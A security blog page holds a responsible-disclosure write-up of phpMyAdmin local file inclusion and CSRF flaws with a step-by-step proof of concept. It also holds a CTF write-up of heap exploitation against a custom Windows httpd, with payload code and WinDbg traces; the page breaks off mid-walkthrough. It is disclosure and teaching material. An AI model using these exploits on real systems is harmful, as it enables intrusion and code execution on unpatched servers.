There are new articles available, click to refresh the page.
Before yesterdaySec Team Blog

PHPMyAdmin multiple vulnerabilities

By: blogscrt
14 December 2018 at 10:34

During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.

1. Local File INCLUSION in transformation feature

The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.

Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.

Here is an example of how the transformation is applied, from tbl_replace.php:


$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
      $current_value = $transformation_plugin->applyTransformation(
         $current_value, $transformation_options
      // check if transformation was successful or not
      // and accordingly set error messages & insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,

The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.

Here is a PoC to exploit this vulnerability:

  1. Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
     INSERT INTO SELECT '<?php phpinfo() ?>';
  2. Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
  3. Fill the transformation information with the path traversal in the “pma__column_info” table:
    INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
     'plop', 'plop', 'plop',
  4. Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.


2. CSRF for updating data in table

This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :


A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.


These vulnerabilities are both important. We responsibly disclosed them and they  were patched on the newly released phpMyAdmin 4.8.4.


Timeline :

  • 2018.06.21 – Initial contact with phpMyAdmin security team.
  • 2018.06.24 – Initial response that the team will investigate.
  • 2018.08.02 – Request for news.
  • 2018.08.28 – Re-request for news.
  • 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
  • 2018.11.01 – Request for news.
  • 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
  • 2018.12.11 – New version released with patch.

Update your things! 😉

winhttpd writeup: private heaps pwning on Windows

By: blogscrt
24 January 2019 at 08:52

Following last week-end’s Insomni’hack teaser and popular demand, here is a detailed write-up for my winhttpd challenge, that implemented a custom multi-threaded httpd and was running on the latest version of Windows 10:

This challenge is running on Windows Server 2019, Version 1809 (OS Build 17763.253).

Since multi-threaded servers have obvious isolation issues for a CTF challenge, you had to first connect to a dispatcher service which would spawn an instance for you on a dedicated port, that only your IP was allowed to access. Then you could send as many requests to the httpd as you like as long as the instance didn’t crash and if you kept the dispatcher socket open.

It all starts with a HeapCreate

The server limits the number of concurrent requests to 5, and each request runs in a dedicated thread, which creates a private heap with HeapCreate(0, 0, 0) and finally destroys it with HeapDestroy(hHeap) when the request terminates.
This means that every request has a clean heap and cannot interfere with other requests’ heaps (yet), making it far easier to have deterministic allocations since you don’t have to worry about whatever occurs on the main heap or in other threads. On the other hand, you loose whatever pointers you could have leaked from the main heap.
Private heaps have their own LFH and thus we also start with no LFH enabled, so we can avoid the LFH randomization altogether as long as we don’t create too many objects of the same size.

After opening several threads we can observe that we get the following heaps:

0:006> !heap
Index   Address  Name      Debugging options enabled
  1:   17ccd2c0000                
  2:   17ccd0b0000                
  3:   17ccd220000                
  4:   17ccd4e0000                
  5:   17ccd260000                
  6:   17ccd6d0000                
  7:   17ccd460000                
  8:   17ccd590000

As you can see :

  • unlike mmap on (non-grsec) Linux, all heaps are mapped in memory at with random offsets ; therefore leaking a heap address doesn’t mean we immediately can leak other heaps or libraries
  • all new heaps are aligned on 0x10000 ; that could come in handy for partial overwrites, however I didn’t actually use it in my exploit 😛

The bugs

The httpd itself doesn’t do much: you can only read local files (without traversal) or login. The login takes username/password/domain parameters, and just greets you if the credentials are valid, or fails. The domain parameter has to be either empty or start with “win.local“, which is the first bug since you can send ““. This will cause the httpd to open a socket on port 12345 to your domain, send “<username>::<password>” on that socket, and wait for the authentication response.

The other bug lies in the custom strcpy_n function that is used to store various variables in the following http_request struct (which is also stored on the heap shortly after the thread creation):

typedef struct {
    char *key;
    char *value;
} dictionary_entry, *dictionary;

typedef struct {
    SOCKET sockfd;
    HANDLE heap;
    char method[16];
    char filename[256];
    char *query_string;
    char protocol[16];
    char hostname[128];
    dictionary headers;
    size_t headers_count;
    dictionary params; /* GET & POST params */
    size_t params_count;
    char *content; /* POST content */
    size_t content_length;
} http_request;

That function has a NULL off-by-one bug, and is called in the following contexts:

strcpy_n(req->method, cursor, sizeof(req->method));

⇨ overflows filename[0], useless (also the method is invalid so request aborts)

strcpy_n(req->filename, cursor, sizeof(req->filename));

⇨ overflows the first byte of query_string, which could be nice however the query_string isn’t allocated yet (NULL)

req->query_string = (char*)HeapAlloc(req->heap, 0, ptr - cursor + 1);
strcpy_n(req->query_string, cursor, ptr - cursor);

⇨ no overflow

strcpy_n(req->protocol, cursor, sizeof(req->protocol));

⇨ overflows hostname[0], useless

if (!_stricmp(key, "Host") && !*req->hostname) {
    strcpy_n(req->hostname, value, sizeof(req->hostname));

⇨ overflows the headers pointer (pointer to a dictionary, which is an array of key-value pointers)

Only the last one is interesting as it means we can make the headers dictionary – which I’ll refer to as headers** from now on – point to controlled memory.
During the parsing of HTTP headers, key-value pairs are added to the headers dictionary by a dict_add() function:

  • the program loops up to req->headers_count times to check if the same header name already exists
  • if it doesn’t, a new key and value are allocated with HeapAlloc()
    • then the dictionary gets extended with HeapReAlloc() and the new pair is appended to the dictionary
  • if it does, the key remains unchanged
    • if the value is <= to strlen(prev_value), the previous bytes are just edited
    • if it is not, the value gets extended with HeapReAlloc()

So if the headers** points in controlled memory, the parsing of next headers could lead to an arbitrary write by editing a valid key with a value that points wherever we want.
Headers are never printed by the application and thus can’t be used directly for an arbitrary read.
dict_add() is also used to add key-value pairs to the params** dictionary.

The initial leak

Before we go further we need an initial leak to bypass ASLR.
If we manage to put the headers** on top of a valid chunk, we can add a new header to cause a HeapReAlloc on that chunk without having to worry about messing up with the allocator’s metadata (inlined or not): as far as it is concerned, this is a valid demand.
If the new size is more than that of the chunk we overlap with, the allocator will try to extend it. If there is enough free space adjacent to the chunk, that will be used and will just increase the size of our chunk, otherwise it’ll allocate new memory and free the old chunk, thereby allowing us to free the overlapped chunk.

Now there’s a catch: before the headers** gets HeapReAlloc()‘ed, dict_add checks if the new header we’re adding exists already, and will therefore loop against all entries of headers**. Since our off-by-one bug gets triggered on a headers** that has at least one entry (the “Host” header itself), dict_add will always try to dereference a key pointer at least once, which is problematic since we haven’t bypassed ASLR yet.

The idea here is that we can use KUSER_SHARED_DATA, a section of memory that is always mapped at 0x7ffe0000 – as can be observed with !address in WinDbg.

0:007> !address

        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
+        0`00000000        0`7ffe0000        0`7ffe0000             MEM_FREE    PAGE_NOACCESS                      Free       
+        0`7ffe0000        0`7ffe1000        0`00001000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      Other      [User Shared Data]
+        0`7ffe1000        0`7ffe6000        0`00005000             MEM_FREE    PAGE_NOACCESS                      Free       
+        0`7ffe6000        0`7ffe7000        0`00001000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      <unknown>  [.........5......]
+        0`7ffe7000       bb`f1490000       bb`714a9000             MEM_FREE    PAGE_NOACCESS                      Free       
+       bb`f1490000       bb`f158a000        0`000fa000 MEM_PRIVATE MEM_RESERVE                                    Stack      [~0; 4f8.13c8]
0:007> dt nt!_KUSER_SHARED_DATA 0x7ffe0000
   +0x000 TickCountLowDeprecated : 0
   +0x004 TickCountMultiplier : 0xfa00000
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   +0x020 TimeZoneBias     : _KSYSTEM_TIME
   +0x02c ImageNumberLow   : 0x8664
   +0x02e ImageNumberHigh  : 0x8664
   +0x030 NtSystemRoot     : [260]  "C:\WINDOWS" 
   +0x238 MaxStackTraceDepth : 0
   +0x23c CryptoExponent   : 0

That doesn’t contain any useful pointer for us on Windows 10, but it is perfect to survive a pointer dereference. So we just craft a fake header that points to the NtSystemRoot, which is "C\x00" (unicode string).

The GET parameters stored in params** have a urldecoded value, which allows us to store NULL bytes in the value. Furthemore the username and password params can be leaked over the “domain” socket, therefore we can craft our fake header** in one of these, and free the value. The allocator will insert a FreeList entry (Flink + Blink) inside the free chunk, so printing the value will leak us the Flink and thus the position of the heap!

Let’s see how it works. First we register a few breakpoints to pretty-print our allocations:

bp ntdll!RtlAllocateHeap "r @$t1 = @rcx ; r @$t2 = @edx ; r @$t3 = @r8; g"
bp ntdll!RtlReAllocateHeap "r @$t4 = @rcx ; r @$t5 = @edx ; r @$t6 = @r8; r $t7 = @r9 ; g"
bp winhttpd+24C5 ".printf \"----------------------------------------------------------------------------------------------------\\nNew Heap @ %#p\\n\", @rax ; g"
bp winhttpd+24DD ".printf \"req_head          : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2508 ".printf \"http_request      : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2732 ".printf \"req->content      : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+213A ".printf \"req->query_string : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+36DE ".printf \"    dict_add new key       :   HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+3715 ".printf \"    dict_add new value     :   HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+374C ".printf \"    dict_add realloc value : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37FF ".printf \"    dict_add realloc dict  : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37D0 ".printf \"    dict_add new dict      :   HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+1D20 ".printf \"Parsing params...\\n\" ; g"
bp winhttpd+22C8 ".printf \"Parsing header...\\n\" ; g"

This is the payload I used:

fake_headers = p64(_KUSER_SHARED_DATA + 0x30) * 6

payload = "POST "
payload += "/login?" + "A" * 0x100 + "&username=" + urlencode(fake_headers) # [1]
payload += " HTTP/1.1\r\n"
payload += "X: " + "Y" * 0x30 + "\r\n"             # [2]
payload += "X: " + "Y" * 0x50 + "\r\n"             # [3]
payload += "A" * 0x40 + ": " + "B" * 0x40 + "\r\n" # [4]
payload += "Host: " + 'X' * 128 + "\r\n"           # [5] trigger off-by-one on headers**
payload += "Z" * 0x40 + ": " + "B" * 0x40 + "\r\n" # [6] HeapReAlloc(headers**) => HeapFree(params[username].value)
payload += "\r\n"

Allocations observed in WinDbg:

0:003> g
New Heap @ 0x17ccd220000
req_head          : HeapAlloc(0x17ccd220000, 0, 0x2000) -> 0x17ccd220860
http_request      : HeapAlloc(0x17ccd220000, 0, 0x1e8) -> 0x17ccd222870
req->query_string : HeapAlloc(0x17ccd220000, 0, 0x1c9) -> 0x17ccd222a60
Parsing params...
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x7) -> 0x17ccd222c40
    dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x17) -> 0x17ccd222c60
    dict_add new dict      :   HeapAlloc(0x17ccd220000, 0, 0x10) -> 0x17ccd222c80
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x9) -> 0x17ccd222ca0
    dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x101) -> 0x17ccd222cc0
    dict_add realloc dict  : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222c80, 0x20) -> 0x17ccd222dd0
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x9) -> 0x17ccd222c80
[1] dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x31) -> 0x17ccd222e00
    dict_add realloc dict  : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222dd0, 0x30) -> 0x17ccd222e40
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x2) -> 0x17ccd222dd0
[2] dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x31) -> 0x17ccd222e80
[2] dict_add new dict      :   HeapAlloc(0x17ccd220000, 0, 0x10) -> 0x17ccd222ec0
Parsing header...
[3] dict_add realloc value : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e80, 0x51) -> 0x17ccd222ee0
Parsing header...
[4] dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd222f40
[4] dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd222f90
[4] dict_add realloc dict  : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222ec0, 0x20) -> 0x17ccd222e80
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x5) -> 0x17ccd222ec0
[5] dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x81) -> 0x17ccd222fe0
[5] dict_add realloc dict  : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e80, 0x30) -> 0x17ccd222e80
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd223070
    dict_add new value     :   HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd2230c0
[6] dict_add realloc dict  : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e00, 0x40) -> 0x17ccd223110
0:006> dps 0x17ccd222e00 L6
0000017c`cd222e00  0000017c`cd223160 [6]
0000017c`cd222e08  0000017c`cd220150 [6]
0000017c`cd222e10  00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e18  00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e20  00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e28  00000000`7ffe0030 SharedUserData+0x30

Step-by-step explanation:

  • At [1] we managed to get the username (params[2].value) aligned  with 0x100.
  • At [2] we create a header value whose size is 0x30* ; the headers** size is now 0x10
  • At [3] we realloc that header’s value, leaving a free chunk of size 0x30 available
  • At [4] we create another header, the headers** size is now 0x20, we use a key and value that are larger than 0x30 to avoid consuming the free 0x30 chunk
  • At [5] we perform the off-by-one
    • first the “Host” header is added, the headers** size becomes 0x30, and thus it reuses the free 0x30 chunk
    • the headers** LSBs change from 2e80 to 2e00 because of the off-by-one ⇨ headers** == params[2].value
  • At [6] we add another header, which causes HeapReAlloc to free headers** and allocate headers** further in the heap
    • the allocator puts its Flink and Blink freelist pointers in params[2].value, which we will leak over our “domain socket”

Note*: 0x30 is not the real size, I forgot to consider the terminating NULL bytes and the metadatas’ size in my calculations. It doesn’t matter, what matters is our plan 😉 : that an alloc of 0x41 doesn’t fit into a chunk allocated for 0x31

Because at the end of the request handle_client calls HeapFree on all previously allocated pointers, we want to keep our “domain” socket open as long as possible to avoid a crash. That also avoids the HeapDestroy call which would destroy our heap before we can even use our leak.

Leaking NTDLL

winhttpd doesn’t store any function pointer or pointer to its .data section. We’re in a clean heap, is there anything useful for us in there?

All pointers seem to point inside the current heap except this one:

0:006> dps 0x17ccd220000 L100
0000017c`cd2202b8  00000000`001fe000
0000017c`cd2202c0  00007ff8`92b33d10 ntdll!RtlpStaticDebugInfo+0x90
0000017c`cd2202c8  00000000`ffffffff

This is great because we always can find a pointer into NTDLL. Now we need a strategy to leak its value.

Arbitrary read/write

To obtain an arbitrary write primitive we can overwrite the pointers inside header** and params**. params** is more interesting though because we can also leak the values if the param key is either username or password.

Therefore we will want to overlap header** and param** and once again cause a HeapReAlloc(header**) to free the param** chunk.


content = "A=" + urlencode(flat(  # [8]
    username_heap_thread_1, ntdll_leak_addr,
    password_heap_thread_1, CommitRoutine_mangled_addr, # spoil for later :P
    password_heap_thread_1, CommitRoutine_mangled_addr,
)) + "&" + "&" * 0x100

payload  = "POST "
payload += '/login?a=AAAAAAAAAAAAAAAA&password=' + 'A' * 0xa0 + '&username=BBBBBBBB&username=' + urlencode(fake_headers) # [1]
payload += " HTTP/1.1\r\n"
payload += "Host: " + 'X' * 128 + "\r\n" # [2]
payload += "username: Y\r\n"             # [3]
payload += "X: Y\r\n"                    # [4]
payload += "Content-Length: " + str(len(content)) + "\r\n" # [5]
payload += "X: " + "Y" * 0x50 + "\r\n"   # [6]
payload += "\r\n"
payload += content                       # [7]

Allocations observed in WinDbg:

New Heap @ 0x17ccd260000
req_head          : HeapAlloc(0x17ccd260000, 0, 0x2000) -> 0x17ccd260860
http_request      : HeapAlloc(0x17ccd260000, 0, 0x1e8) -> 0x17ccd262870
req->query_string : HeapAlloc(0x17ccd260000, 0, 0x110) -> 0x17ccd262a60
Parsing params...
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262b80
    dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x11) -> 0x17ccd262ba0
    dict_add new dict      :   HeapAlloc(0x17ccd260000, 0, 0x10) -> 0x17ccd262bc0
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262be0
    dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0xa1) -> 0x17ccd262c00
    dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262bc0, 0x20) -> 0x17ccd262cb0
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262bc0
    dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262ce0
[1] dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262cb0, 0x30) -> 0x17ccd262d00
    dict_add realloc value : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262ce0, 0x11) -> 0x17ccd262cb0
Parsing header...
[2] dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x5) -> 0x17ccd262ce0
[2] dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x81) -> 0x17ccd262d40
[2] dict_add new dict      :   HeapAlloc(0x17ccd260000, 0, 0x10) -> 0x17ccd262dd0
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262df0
[3] dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e10
[3] dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x20) -> 0x17ccd262d00
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e30
[4] dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e50
[4] dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x30) -> 0x17ccd262d00
Parsing header...
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0xf) -> 0x17ccd262e70
    dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x4) -> 0x17ccd262e90
[5] dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x40) -> 0x17ccd262eb0
Parsing header...
[6] dict_add realloc value : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262e50, 0x51) -> 0x17ccd262f00
[7] req->content      : HeapAlloc(0x17ccd260000, 0, 0x1b2) -> 0x17ccd262f60
Parsing params...
[8] dict_add new key       :   HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e50
[8] dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x31) -> 0x17ccd262d00
[8] dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x40) -> 0x17ccd263120
    dict_add new key       :   HeapAlloc(0x17ccd260000, 0x80000a, 0x1ca8) -> 0x17ccd262d00
    dict_add new value     :   HeapAlloc(0x17ccd260000, 0, 0x17) -> 0x17ccd262d20
    dict_add realloc dict  : HeapReAlloc(0x17ccd260000, 0, 0x17ccd263120, 0x50) -> 0x17ccd260750
0:006> da poi(0x17ccd260750)
0000017c`cd222c80  "username"
0:006> dps poi(0x17ccd260750+8) L1
0000017c`cd2202c0  00007ff8`92b33d10 ntdll!RtlpStaticDebugInfo+0x90

Step-by-step explanation:

    • At [1] we managed to get params** aligned with 0x100
    • At [2] we perform the off-by-one
      • first the “Host” header is added and reuses the old "BBBBBBBB" username, the headers** is created with a size of 0x10
      • the headers** LSBs change from 2dd0 to 2d00 because of the off-by-one ⇨ headers** == params**
    • At [3] we add a header, which is actually an old test that I forgot to remove 😜
      • the headers** size is now 0x20, this still fits in the original size of params**: 0x30. Therefore this doesn’t free or moves it.
    • At [4] we add another header with a small value
      • the headers** size is now 0x30, which still fits in the original size of params**
    • At [5] we add the Content-Length header, which is mandatory to send POST params
      • it makes sure there’s an allocated chunk after the value of [4]
      • the headers** size becomes 0x40,  which causes HeapReAlloc to free headers** and allocate it further in the heap
        • param** is now free
    • At [6] we edit the value of [4], causing a HeapReAlloc
      • since the chunk can’t be extended that much anymore, it frees it and moves it further in the heap
      • we now have a small chunk available for next step
    • At [7] the POST content is allocated, this doesn’t fit in free chunks and therefore gets allocated at the end of the heap
    • At [8] the first POST param is added to params**
      • All pointers in param** can be dereferenced: the program doesn’t crash
      • the key reuses our previously freed small chunk
      • the value overlaps with the free params** itself so we now fully control the values inside params**arbitrary read/write
      • params** gets reallocated, but keeps our crafted key-value pairs

Note that the arbitrary write is limited: we can only edit up to strlen(target) anywhere in memory.

The heap CommitRoutine callback

With the NTDLL base leaked I have no doubt you can find interesting pointers. Many of them seem available but are mangled and without names, which isn’t very cool. You could also leak the TEB and thus other libraries too, unlocking more targets.

On the other hand out of curiosity I wanted to look at what the heap structure looks like. The lame way to find its name (which I used of course) was to google “heap structure windows” which returns this paper as a first result. Then try several of the mentionned structures until one seems legit. Here nt!_HEAP looked ok 🙂

0:006>dt nt!_HEAP 0x17ccd220000
   +0x000 Segment          : _HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY
   +0x010 SegmentSignature : 0xffeeffee
   +0x014 SegmentFlags     : 2
   +0x018 SegmentListEntry : _LIST_ENTRY [ 0x0000017c`cd220120 - 0x0000017c`cd220120 ]
   +0x028 Heap             : 0x0000017c`cd220000 _HEAP
   +0x030 BaseAddress      : 0x0000017c`cd220000 Void
   +0x038 NumberOfPages    : 0xf
   +0x150 FreeLists        : _LIST_ENTRY [ 0x0000017c`cd222e00 - 0x0000017c`cd223160 ]
   +0x160 LockVariable     : 0x0000017c`cd2202c0 _HEAP_LOCK
   +0x168 CommitRoutine    : 0xf603ad6b`90e97029     long  +f603ad6b90e97029
   +0x170 StackTraceInitVar : _RTL_RUN_ONCE
   +0x178 CommitLimitData  : _RTL_HEAP_MEMORY_LIMIT_DATA
   +0x198 FrontEndHeap     : (null) 
   +0x1a0 FrontHeapLockCount : 0
   +0x1a2 FrontEndHeapType : 0 ''
   +0x1a3 RequestedFrontEndHeapType : 0 ''
   +0x1a8 FrontEndHeapUsageData : 0x0000017c`cd220750  ""
   +0x1b0 FrontEndHeapMaximumIndex : 0x80
   +0x1b2 FrontEndHeapStatusBitmap : [129]  ""
   +0x238 Counters         : _HEAP_COUNTERS
   +0x2b0 TuningParameters : _HEAP_TUNING_PARAMETERS

The CommitRoutine field immediately caught my eye as it sounds like something you can trigger with a large allocation (such as with our Content-Length). The documentation mentions the following:

Callback routine to commit pages from the heap. If this parameter is non-NULL, the heap must be nongrowable. If HeapBase is NULL, CommitRoutine must also be NULL.

However our private heaps are growable since they are created with HeapCreate(0, 0, 0), whose documentation says:

If dwMaximumSize is 0, the heap can grow in size. The heap’s size is limited only by the available memory.

Anyways if we change its value manually in the debugger and trigger a large allocation, it turns out that the callback is indeed called!

0:004> dt nt!_HEAP 1ee`a0a60000 CommitRoutine
   +0x168 CommitRoutine : 0x685d9804`f365ca2b     long  +685d9804f365ca2b
0:004> eq 1ee`a0a60000+168 4142434445464748
0:004> g
(25ac.3eac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ff8`92a73030 ffe0            jmp     rax {291fdb40`b6238d63}
0:003> r
rax=291fdb40b6238d63 rbx=000001eea0a60000 rcx=000001eea0a60000
rdx=000000363e8ff980 rsi=000001eea0a64fc0 rdi=000001eea0a64fd0
rip=00007ff892a73030 rsp=000000363e8ff918 rbp=000001eea0a60000
 r8=000000363e8ffa28  r9=0000000000003010 r10=00007ff892af09a0
r11=8080808080808080 r12=0000000000000000 r13=000000000000007f
r14=000000363e8ffa28 r15=000001eea0a602e8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

As we can see several registers have values in the heap, with rbx, rcx and rbp pointing to the beginning of the heap. Using this along with our (constrained) arbitrary-write, we should be able to pivot to a ROP/JOP chain.

A quick look inside RtlpFindAndCommitPages (from the Stack Trace) shows a xor rax, cs:RtlpHeapKey before the call to the CFG dispatch function (Control Flow Guard isn’t enabled here).

0:003> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000036`3e8ff918 00007ff8`929e8773 : 000001ee`a0a60000 00000000`00000000 00000000`00000020 00007ff8`929e01fe : ntdll!guard_dispatch_icall_nop
01 00000036`3e8ff920 00007ff8`929e8433 : 000001ee`a0a65000 000001ee`a0a60000 00000036`3e8ff9d0 00000000`00000010 : ntdll!RtlpFindAndCommitPages+0x87
02 00000036`3e8ff980 00007ff8`929e07b4 : 00000000`00000040 00000000`00000002 00000000`0000007f 00000000`00004000 : ntdll!RtlpExtendHeap+0x33
03 00000036`3e8ffa10 00007ff8`929dda21 : 000001ee`a0a60000 00000000`00000002 00000000`00003001 00000000`00003010 : ntdll!RtlpAllocateHeap+0xf54
04 00000036`3e8ffc80 00007ff6`58072732 : 00000000`00000000 00000000`00000000 000001ee`a0a60a4f 00007ff6`58070000 : ntdll!RtlpAllocateHeapInternal+0x991
05 00000036`3e8ffd70 00007ff8`8fdb7e94 : 00000000`000000b8 00000000`00000000 00000000`00000000 00000000`00000000 : winhttpd!handle_client+0x292
06 00000036`3e8ffe00 00007ff8`92a3a251 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
07 00000036`3e8ffe30 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
0:003> dq ntdll!RtlpHeapKey L1
00007ff8`92b36808  685d9804`f365ca2b

So the initial value of CommitRoutine was NULL, we can leak the heap XOR key either from a heap or directly in NTDLL.

Finding the address of any heap

This is all great but we can’t trigger a large allocation from any of the previous threads anymore, so we’ll have to create a new one, wait before sending it the HTTP headers, and leak its address in the meantime.

Fortunately NTDLL also keeps a list of our heaps:

0:006> !address

        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
+      17c`cd460000      17c`cd465000        0`00005000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             Heap       [ID: 6; Handle: 0000017ccd460000; Type: Segment]
       17c`cd465000      17c`cd46f000        0`0000a000 MEM_PRIVATE MEM_RESERVE                                    Heap       [ID: 6; Handle: 0000017ccd460000; Type: Segment]
+     7ff8`929d0000     7ff8`929d1000        0`00001000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
      7ff8`929d1000     7ff8`92ae8000        0`00117000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
      7ff8`92ae8000     7ff8`92b2f000        0`00047000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
      7ff8`92b2f000     7ff8`92b30000        0`00001000 MEM_IMAGE   MEM_COMMIT  PAGE_READWRITE                     Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
